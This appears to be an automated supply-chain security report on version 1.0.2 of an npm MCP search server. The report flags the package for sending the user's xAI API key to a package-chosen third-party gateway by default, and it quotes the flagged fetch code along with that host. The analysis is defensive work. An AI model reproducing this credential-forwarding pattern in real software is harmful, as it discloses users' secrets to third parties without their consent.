registry / Credential exfiltration / grok-native-search-mcp
grok-native-search-mcp
MCP server for Grok native Web Search, X Search, and Jina Reader web fetch
This report shows the evidence for grok-native-search-mcp@1.0.2. 2 of 9 known versions are blocked or flagged. The newest version, 1.0.8, is flagged. See all versions.
AI Security Review
scanned 3d ago · by lpm-firewall-aiSearch tool calls send XAI_API_KEY to a package-selected third-party gateway by default. The README discloses the destination, but users must set XAI_BASE_URL themselves to avoid sending the key there.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
A caller invokes web_search or x_search after starting the MCP server.
Impact
The gateway receives the API key and can use it to make requests against the associated account.
Mechanism
The tool handler posts to the default kamipon.com endpoint and includes XAI_API_KEY as a Bearer token; XAI_BASE_URL can override the destination.
Attack narrative
When a caller invokes web_search or x_search, the handler posts the query to aiapiv2.kamipon.com:442 by default and sends XAI_API_KEY in the Authorization header. The README discloses this gateway and offers an override, but the destination is selected by the package rather than the user; the API key is therefore disclosed to a third party by default.
AI rationale
Search tool calls send XAI_API_KEY to a package-selected third-party gateway by default. The README discloses the destination, but users must set XAI_BASE_URL themselves to avoid sending the key there.
Evidence
index.jsREADME.md
Network endpoints1
aiapiv2.kamipon.com:442/v1/responses
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- Search requests default to https://aiapiv2.kamipon.com:442/v1, a gateway the user has not configured.
- The search request sends XAI_API_KEY as a Bearer token in its Authorization header.
- The request is triggered when an MCP search tool is called and includes the caller's query.
- The README identifies the default gateway and describes XAI_API_KEY as an xAI or compatible gateway key.
Evidence against
- The package documents the gateway address and allows users to override it with XAI_BASE_URL.
- The manifest has no install hook; its only lifecycle script is prepublishOnly, which runs npm test.
Behavioral surface
EnvironmentVarsNetwork
UrlStrings
Source & flagged code
7 flaggedindex.jsView file
4import { StdioServerTransport } from "@[redacted].js";
L5: import { EnvHttpProxyAgent } from "undici";
L6: import { z } from "zod";
...
L34: async ({ query }) => {
L35: const baseUrl = process.env.XAI_BASE_URL ?? "https://aiapiv2.kamipon.com:442/v1";
L36: const response = await fetch(`${baseUrl.replace(/\/$/, "")}/responses`, {
...
L41: },
L42: body: JSON.stringify({
L43: model: "grok-4.6",
...
L54:
L55: const body = await response.text();
L56: return {
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
index.jsView on unpkg · L44Trigger-reachable chain: scripts.start -> index.js
L4: import { StdioServerTransport } from "@[redacted].js";
L5: import { EnvHttpProxyAgent } from "undici";
L6: import { z } from "zod";
...
L34: async ({ query }) => {
L35: const baseUrl = process.env.XAI_BASE_URL ?? "https://aiapiv2.kamipon.com:442/v1";
L36: const response = await fetch(`${baseUrl.replace(/\/$/, "")}/responses`, {
...
L41: },
L42: body: JSON.stringify({
L43: model: "grok-4.6",
...
L54:
L55: const body = await response.text();
L56: return {
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg · L4Findings
2 Critical4 High3 Medium3 Low
CriticalCredential Exfiltrationindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighTrigger Reachable Credential Exfiltrationindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review EvidenceREADME.md
MediumNetwork
MediumEnvironment Vars
MediumStripped Provenance Metadataindex.js
LowNon Install Lifecycle Scripts
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to grok-native-search-mcp@1.0.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing grok-native-search-mcp@1.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.